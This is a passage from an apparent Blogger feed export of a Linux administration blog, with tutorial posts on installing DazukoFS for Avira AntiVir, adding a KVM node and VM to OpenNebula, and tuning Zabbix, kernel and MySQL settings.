installation package supplies a DazukoFS version which is automatically configured and installed (in theory). DazukoFS depends on the kernel version; for this purpose it is better to install manually this module.&lt;br /&gt;&lt;br /&gt;Therefore let's get going to download the version 3.1.2 of Dazuko (this number of version works fine with a 2.6.32 kernel) and install it on our testing system, CentOS 6.0 (32 bits). To begin with, I will also get some necessary packages.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# yum install gcc make kernel-devel file&lt;br /&gt;&lt;br /&gt;[root@centos tmp]# wget http://dazuko.dnsalias.org/files/dazukofs-3.1.2.tar.gz&lt;br /&gt;&lt;br /&gt;[root@centos tmp]# tar xvzf dazukofs-3.1.2.tar.gz ; cd dazukofs-3.1.2&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now we are ready to compile and install DazukoFS as a module into our Linux system.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos dazukofs-3.1.2]# make ; make dazukofs_install&lt;br /&gt;&lt;br /&gt;[root@centos dazukofs-3.1.2]# modprobe dazukofs&lt;br /&gt;&lt;br /&gt;[root@centos dazukofs-3.1.2]# echo "modprobe dazukofs" &amp;gt;&amp;gt; /etc/rc.modules&lt;br /&gt;&lt;br /&gt;[root@centos dazukofs-3.1.2]# chmod +x /etc/rc.modules&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Lastly, also point out that the license of this antivirus allows you to install it for a personal use, for instance on your own PC or your home server. Note that if you use AntiVir Guard via DazukoFS, you will need to compile this module when you change the kernel. For production environments I always suggest ClamAV.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-7991011024677804627?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/7991011024677804627/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/08/avira-antivir-personal-on-linux-i.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/7991011024677804627'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/7991011024677804627'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/08/avira-antivir-personal-on-linux-i.html' title='Avira AntiVir Personal on Linux (I)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-3840165884071868318</id><published>2011-08-15T14:35:00.004+02:00</published><updated>2011-11-01T21:25:51.377+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cloud computing'/><category scheme='http://www.blogger.com/atom/ns#' term='Virtualization'/><title type='text'>Adding a KVM hypervisor to OpenNebula (II)</title><content type='html'>Once I have finished to configure the KVM computing node, &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/08/adding-kvm-hypervisor-to-opennebula-i_09.html"&gt;Adding a KVM hypervisor to OpenNebula (I)&lt;/a&gt;, today I am going to conclude this series of technical articles about &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/06/cloud-computing-with-opennebula.html"&gt;OpenNebula&lt;/a&gt; by setting a new instance up on &lt;i&gt;kvm01&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;First of all, I am going to use for my testing, a &lt;a href="http://www.minimalinux.org/ttylinux/"&gt;ttylinux&lt;/a&gt; image, downloaded directly from the OpenNebula website. This sort of Linux distribution is designed to consume fewer resources than a typical operating system such as Debian or CentOS.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:/tmp$ wget http://dev.opennebula.org/attachments/download/170/ttylinux.tar.gz&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:/tmp$ tar xvzf ttylinux.tar.gz ; cd ~/templates&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Next step is to define an &lt;a href="http://opennebula.org/documentation:rel2.2:img_template"&gt;image template&lt;/a&gt; so as to register it into OpenNebula.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:~/templates$ cat ttylinux.img&lt;br /&gt;NAME        = "ttylinux"&lt;br /&gt;PATH        = /tmp/ttylinux.img&lt;br /&gt;DESCRIPTION = "Very small Linux distribution based on a 2.6 kernel"&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~/templates$ oneimage register ttylinux.img&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~/templates$ oneimage list&lt;br /&gt;ID     USER                 NAME TYPE              REGTIME PUB PER STAT  #VMS&lt;br /&gt; 0 oneadmin   Ubuntu Server 8.04   OS   Jul 02, 2011 10:34  No  No  rdy     0&lt;br /&gt; 1 oneadmin             ttylinux   OS   Aug 07, 2011 18:30  No  No  rdy     0&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now we have a virtual image ready to be used on our KVM nodes, in this case &lt;i&gt;kvm01&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:~/templates$ ls -lh ../var/images/8625d68b699fd30e64360471eb2c38fed47fcfb6&lt;br /&gt;-rw-rw---- 1 oneadmin cloud 40M 2011-08-07 20:30 var/images/8625d68b699fd30e64360471eb2c38fed47fcfb6&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~/templates$ file ../var/images/8625d68b699fd30e64360471eb2c38fed47fcfb6&lt;br /&gt;var/images/8625d68b699fd30e64360471eb2c38fed47fcfb6: x86 boot sector, LInux i386 boot LOader; partition 1: ID=0x83, starthead 1, startsector 63, 81585 sectors, code offset 0xeb&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Then we have to make up a &lt;a href="http://opennebula.org/documentation:rel2.2:vgg"&gt;virtual network&lt;/a&gt; which will be utilized by all virtual machines built on our KVM computing node. Note that the key of this network is the bridge created in the previous article.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:~/templates$ cat kvm.net&lt;br /&gt;NAME            = "KVM Network"&lt;br /&gt;TYPE            = RANGED&lt;br /&gt;PUBLIC          = NO&lt;br /&gt;BRIDGE          = br0&lt;br /&gt;NETWORK_ADDRESS = 192.168.1.160&lt;br /&gt;NETWORK_SIZE    = 16&lt;br /&gt;NETMASK         = 255.255.255.0&lt;br /&gt;GATEWAY         = 192.168.1.1&lt;br /&gt;DNS             = 194.30.0.1&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~/templates$ onevnet create kvm.net&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~/templates$ onevnet list&lt;br /&gt;ID USER     NAME              TYPE BRIDGE P #LEASES&lt;br /&gt; 0 oneadmin KVM Network     Ranged    br0 N       0&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;And lastly, we just have to set an &lt;a href="http://opennebula.org/documentation:rel2.2:template"&gt;instance template&lt;/a&gt; up where we outline the characteristics of our virtual machine and thus, to be able to run it over &lt;i&gt;kvm01&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:~/templates$ cat ttylinux01.vm&lt;br /&gt;NAME   = ttylinux01&lt;br /&gt;CPU    = 1&lt;br /&gt;MEMORY = 128&lt;br /&gt;&lt;br /&gt;DISK   = [ SOURCE = "/srv/cloud/one/var/images/8625d68b699fd30e64360471eb2c38fed47fcfb6",&lt;br /&gt;           TARGET = "hda" ]&lt;br /&gt;&lt;br /&gt;NIC    = [ NETWORK = "KVM Network" ]&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~/templates$ onevm create ttylinux01.vm&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~/templates$ onevm list&lt;br /&gt;ID     USER     NAME STAT CPU     MEM        HOSTNAME        TIME&lt;br /&gt; 0 oneadmin ttylinux runn   0      0K           kvm01 00 00:01:03&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-3840165884071868318?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/3840165884071868318/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/08/adding-kvm-hypervisor-to-opennebula-ii.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/3840165884071868318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/3840165884071868318'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/08/adding-kvm-hypervisor-to-opennebula-ii.html' title='Adding a KVM hypervisor to OpenNebula (II)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-6700539928222965007</id><published>2011-08-09T12:56:00.006+02:00</published><updated>2011-11-01T21:26:22.097+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cloud computing'/><category scheme='http://www.blogger.com/atom/ns#' term='Virtualization'/><title type='text'>Adding a KVM hypervisor to OpenNebula (I)</title><content type='html'>After ending up how to &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/07/adding-vmware-esxi-hypervisor-to.html"&gt;add a VMware ESXi hypervisor to OpenNebula&lt;/a&gt;, now it is turn to configure a &lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/11/kvm-virtualization-on-ubuntu-i.html"&gt;KVM&lt;/a&gt; node into our &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/06/cloud-computing-with-opennebula.html"&gt;cloud infraestructure with OpenNebula&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;To begin with, we are going to make up a network bridge on &lt;i&gt;kvm01&lt;/i&gt;. For this purpose, we must put the NIC into manual mode and associate it to the bridge (br0). Remember that this new interface has also to have an IP address belonging to the own subnetwork.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@kvm01:~# cat /etc/network/interfaces&lt;br /&gt;...&lt;br /&gt;auto eth0&lt;br /&gt;   iface eth0 inet manual&lt;br /&gt;&lt;br /&gt;auto br0&lt;br /&gt;   iface br0 inet static&lt;br /&gt;   address 192.168.1.12&lt;br /&gt;   netmask 255.255.255.0&lt;br /&gt;   network 192.168.1.0&lt;br /&gt;   broadcast 192.168.1.255&lt;br /&gt;   gateway 192.168.1.1&lt;br /&gt;   dns-nameservers 194.30.0.1&lt;br /&gt;   dns-search opennebula.local&lt;br /&gt;   bridge_ports eth0&lt;br /&gt;   bridge_fd 9&lt;br /&gt;   bridge_hello 2&lt;br /&gt;   bridge_maxage 12&lt;br /&gt;   bridge_stp off&lt;br /&gt;&lt;br /&gt;root@kvm01:~# /etc/init.d/networking restart&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The reason for creating a bridge is clear: to be able to address the virtual machines built in this node. Otherwise, we would never link them.&lt;br /&gt;&lt;br /&gt;Then we have to install the corresponding packages to be able to virtualize machines through KVM. The &lt;i&gt;ruby&lt;/i&gt; package will be used to manage the node from OpenNebula and &lt;i&gt;nfs-common&lt;/i&gt; to mount the shared area exported by &lt;i&gt;storage01&lt;/i&gt;. As you can see, the libvirtd daemon must be put into listening mode without authentication.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@kvm01:~# aptitude install kvm libvirt-bin ruby nfs-common&lt;br /&gt;&lt;br /&gt;root@kvm01:~# cat /etc/libvirt/libvirtd.conf&lt;br /&gt;...&lt;br /&gt;listen_tls = 0&lt;br /&gt;listen_tcp = 1&lt;br /&gt;auth_tcp   = "none"&lt;br /&gt;&lt;br /&gt;root@kvm01:~# cat /etc/libvirt/qemu.conf&lt;br /&gt;...&lt;br /&gt;dynamic_ownership = 0&lt;br /&gt;&lt;br /&gt;root@kvm01:~# cat /etc/init/libvirt-bin.conf&lt;br /&gt;...&lt;br /&gt;env libvirtd_opts="-d -l"&lt;br /&gt;&lt;br /&gt;root@kvm01:~# restart libvirt-bin&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Besides, it is necessary to uncomment the line which says "&lt;span style="font-style: italic;"&gt;dynamic_ownership = 1&lt;/span&gt;" (libvirt should dynamically change file ownership to match the configured user/group) and modify it to 0. Otherwise, you would get an error as follows.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;neadmin@frontend01:~/templates$ tail -f ../var/oned.log&lt;br /&gt;...&lt;br /&gt;Sat Aug 13 20:32:11 2011 [TM][D]: Message received: TRANSFER SUCCESS 1 -&lt;br /&gt;Sat Aug 13 20:32:12 2011 [VMM][D]: Message received: LOG - 1 Command execution fail: 'if [ -x "/var/tmp/one/vmm/kvm/deploy" ]; then /var/tmp/one/vmm/kvm/deploy /srv/cloud/one/var//1/images/deployment.0; else                              exit 42; fi'&lt;br /&gt;Sat Aug 13 20:32:12 2011 [VMM][D]: Message received: LOG - 1 STDERR follows.&lt;br /&gt;Sat Aug 13 20:32:12 2011 [VMM][D]: Message received: LOG - 1 error: Failed to create domain from /srv/cloud/one/var//1/images/deployment.0&lt;br /&gt;Sat Aug 13 20:32:12 2011 [VMM][D]: Message received: LOG - 1 error: unable to set user and group to '104:112' on '/srv/cloud/one/var//1/images/disk.0': Invalid argument&lt;br /&gt;Sat Aug 13 20:32:12 2011 [VMM][D]: Message received: LOG - 1 ExitCode: 255&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Next step is to add a new user called &lt;i&gt;oneadmin&lt;/i&gt; (with ID 1001, the same that in the rest of computers). I prefer to set a password up for this user because later, you have to copy the &lt;i&gt;frontend01&lt;/i&gt;'s public key in this machine.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@kvm01:~# mkdir -p /srv/cloud/one/var&lt;br /&gt;&lt;br /&gt;root@kvm01:~# groupadd --gid 1001 cloud&lt;br /&gt;&lt;br /&gt;root@kvm01:~# useradd --uid 1001 -s /bin/bash -d /srv/cloud/one -g cloud -G kvm,libvirtd oneadmin&lt;br /&gt;&lt;br /&gt;root@kvm01:~# passwd oneadmin&lt;br /&gt;&lt;br /&gt;root@kvm01:~# chown -R oneadmin:cloud /srv/cloud&lt;br /&gt;&lt;br /&gt;root@kvm01:~# id oneadmin&lt;br /&gt;uid=1001(oneadmin) gid=1001(cloud) groups=1001(cloud),112(kvm),113(libvirtd)&lt;br /&gt;&lt;br /&gt;root@kvm01:~# cat /etc/fstab&lt;br /&gt;...&lt;br /&gt;storage01:/srv/cloud/one/var /srv/cloud/one/var      nfs4    _netdev,auto    0       0&lt;br /&gt;&lt;br /&gt;root@kvm01:~# mount -a&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In addition, the node must be synchronized with all the machines of the cluster.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@kvm01:~# crontab -e&lt;br /&gt;...&lt;br /&gt;0 * * * * ntpdate pool.ntp.org&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;And finally, we have to copy the public key from &lt;i&gt;frontend01&lt;/i&gt;, so that this computer can be remotely handled by OpenNebula.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:~$ ssh-copy-id -i .ssh/id_rsa.pub oneadmin@kvm01&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;So as to check the installation, we can execute the next order from &lt;span style="font-style: italic;"&gt;frontend01&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:~$ lib/remotes/im/run_probes kvm kvm01&lt;br /&gt;ARCH=x86_64 MODELNAME="Intel(R) Core(TM)2 Duo CPU E8400 @ 3.00GHz"&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now we are ready to use the new KVM node in our cloud computing architecture.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:~$ onehost create kvm01 im_kvm vmm_kvm tm_nfs&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~$ onehost list&lt;br /&gt;ID NAME              CLUSTER  RVM   TCPU   FCPU   ACPU    TMEM    FMEM STAT&lt;br /&gt; 0 kvm01             default    0    100    100    100      2G    1.9G   on&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-6700539928222965007?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/6700539928222965007/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/08/adding-kvm-hypervisor-to-opennebula-i_09.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/6700539928222965007'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/6700539928222965007'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/08/adding-kvm-hypervisor-to-opennebula-i_09.html' title='Adding a KVM hypervisor to OpenNebula (I)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-964133684451394984</id><published>2011-08-01T11:31:00.010+02:00</published><updated>2011-11-01T21:26:58.754+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Monitoring'/><category scheme='http://www.blogger.com/atom/ns#' term='Performance'/><title type='text'>Tuning Zabbix to improve its performance (II)</title><content type='html'>Let's continue with the last article about &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/07/tuning-zabbix-to-improve-its_25.html"&gt;tuning Zabbix to improve its performance&lt;/a&gt;. First of all, I am going to set the suitable &lt;a href="http://redes-privadas-virtuales.blogspot.com/2009/07/optimizacion-del-kernel-de-linux-con.html"&gt;kernel parameters&lt;/a&gt; into the &lt;span style="font-style: italic;"&gt;sysctl.conf&lt;/span&gt; file.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@zbx01:~# cat /etc/sysctl.conf&lt;br /&gt;...&lt;br /&gt;# Maximum percentage of physical memory usage before going to swap&lt;br /&gt;vm.swappiness = 10&lt;br /&gt;&lt;br /&gt;# Number of open files for all processes&lt;br /&gt;fs.file-max = 407020&lt;br /&gt;&lt;br /&gt;# Minimum, default and maximum size of the send/receive buffer used by each TCP socket&lt;br /&gt;net.ipv4.tcp_wmem = 8192        87380   16777216&lt;br /&gt;net.ipv4.tcp_rmem = 8192        87380   16777216&lt;br /&gt;&lt;br /&gt;# Maximum number of queued connection requests which have still not received an ACK (three-way handshake)&lt;br /&gt;net.ipv4.tcp_max_syn_backlog = 2048&lt;br /&gt;&lt;br /&gt;# Number of seconds to wait for a final FIN packet before the socket is forcibly closed&lt;br /&gt;net.ipv4.tcp_fin_timeout = 25&lt;br /&gt;&lt;br /&gt;# Number of seconds a connection needs to be idle before TCP begins sending out keep-alive probes&lt;br /&gt;net.ipv4.tcp_keepalive_time = 1200&lt;br /&gt;&lt;br /&gt;# Maximum TCP send window&lt;br /&gt;net.core.wmem_max = 16777216&lt;br /&gt;&lt;br /&gt;# Maximum TCP receive window&lt;br /&gt;net.core.rmem_max = 16777216&lt;br /&gt;&lt;br /&gt;# Maximum size in bytes of a message queue&lt;br /&gt;kernel.msgmnb = 65536&lt;br /&gt;&lt;br /&gt;# Maximum size for a message text&lt;br /&gt;kernel.msgmax = 65536&lt;br /&gt;&lt;br /&gt;# Maximum size in bytes for a shared memory segment&lt;br /&gt;kernel.shmmax = 68719476736&lt;br /&gt;&lt;br /&gt;# System wide maximum of shared memory pages&lt;br /&gt;kernel.shmall = 4294967296&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Then I am going to fit the values of MySQL by means of its configuration file. This part is really important if you want to achieve a good performance.&lt;br /&gt;&lt;br /&gt;In order to adjust them, I have been following the status of the database throughout several weeks, by using tuning tools such as &lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/09/mysql-optimization-i.html"&gt;MySQL Performance Tuning Primer Script or MySQLTuner&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@zbx01:~# cat /etc/mysql/my.cnf&lt;br /&gt;...&lt;br /&gt;# Size of the buffer used for index blocks&lt;br /&gt;key_buffer = 16M&lt;br /&gt;&lt;br /&gt;# Maximum size of one packet or any generated/intermediate string&lt;br /&gt;max_allowed_packet = 16M&lt;br /&gt;&lt;br /&gt;# Number of threads the server should cache for reuse&lt;br /&gt;thread_cache_size = 64&lt;br /&gt;&lt;br /&gt;# Maximum allowed number of simultaneous client connections&lt;br /&gt;max_connections = 256&lt;br /&gt;&lt;br /&gt;# Number of open tables for all threads&lt;br /&gt;table_cache = 1024&lt;br /&gt;&lt;br /&gt;# Number of table definitions that can be stored in the definition cache&lt;br /&gt;table_definition_cache = 1024&lt;br /&gt;&lt;br /&gt;# Do not cache results that are larger than this number of bytes&lt;br /&gt;query_cache_limit = 16M&lt;br /&gt;&lt;br /&gt;# Amount of memory allocated for caching query results&lt;br /&gt;query_cache_size = 1024M&lt;br /&gt;&lt;br /&gt;# Minimum size (in bytes) for blocks allocated by the query cache&lt;br /&gt;query_cache_min_res_unit = 512&lt;br /&gt;&lt;br /&gt;# 0: do not cache&lt;br /&gt;# 1: cache all cacheable query results except for those that begin with SELECT SQL_NO_CACHE&lt;br /&gt;# 2: cache results only for cacheable queries that begin with SELECT SQL_CACHE&lt;br /&gt;query_cache_type = 1&lt;br /&gt;&lt;br /&gt;# Slow queries are logged&lt;br /&gt;log_slow_queries = /var/log/mysql/mysql-slow.log&lt;br /&gt;&lt;br /&gt;# If a query takes longer than this value (seconds), the server logs the query&lt;br /&gt;long_query_time = 5&lt;br /&gt;&lt;br /&gt;# Queries that are expected to retrieve all rows are logged&lt;br /&gt;log-queries-not-using-indexes&lt;br /&gt;&lt;br /&gt;# Size in bytes of the memory buffer that InnoDB uses to cache data and indexes of its tables&lt;br /&gt;innodb_buffer_pool_size = 4096M&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;With respect to MySQL, stand out that it is also important to defragment the query cache to enhance its utilization, by carrying out a "flush query cache" on the database. In my installation, I have seen that the optimum period is every hour.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@zbx01:~# crontab -e&lt;br /&gt;...&lt;br /&gt;0 */1 * * * mysql -u root -pxxxxxx -e "flush query cache"&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;And finally, I have changed certain parameters from the Zabbix configuration file. The most important variable is related to the pre-forked pollers.&lt;br /&gt;&lt;br /&gt;If this number is not enough, your Zabbix server will not be able to save all monitored data and you will find lack of many values. This is due to if the server runs out of sufficient processes to attend the requests, they will be ruled out and not registered.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@zbx01:~# cat /etc/zabbix/zabbix_server.conf&lt;br /&gt;...&lt;br /&gt;# Number of pre-forked instances of pollers&lt;br /&gt;StartPollers=96&lt;br /&gt;&lt;br /&gt;# Shared memory size for storing hosts and items data&lt;br /&gt;CacheSize=64M&lt;br /&gt;&lt;br /&gt;# Shared memory size for storing history data&lt;br /&gt;HistoryCacheSize=8M&lt;br /&gt;&lt;br /&gt;# Shared memory size for storing trends data.&lt;br /&gt;TrendCacheSize=8M&lt;br /&gt;&lt;br /&gt;# Shared memory size for storing character, text or log history data&lt;br /&gt;HistoryTextCacheSize=8M&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Regarding &lt;span style="font-style: italic;"&gt;Housekeeping&lt;/span&gt;, I have not modified any default parameter. In this way, the housekeeping procedure runs every hour and deletes all unnecessary values into the database.&lt;br /&gt;&lt;br /&gt;If you note that your server does not work properly because it is using up lots of resources (CPU, memory, I/O) in this task, you will have to fit these options.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@zbx01:~# cat /etc/zabbix/zabbix_server.conf&lt;br /&gt;...&lt;br /&gt;# Housekeeping is removing unnecessary information from history, alert, and alarm tables&lt;br /&gt;# HousekeepingFrequency=1&lt;br /&gt;&lt;br /&gt;# No more than MaxHousekeeperDelete rows will be deleted per one task in one housekeeping cycle&lt;br /&gt;# MaxHousekeeperDelete=500&lt;br /&gt;&lt;br /&gt;# Enable/disable housekeeping&lt;br /&gt;# DisableHousekeeping=0&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-964133684451394984?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 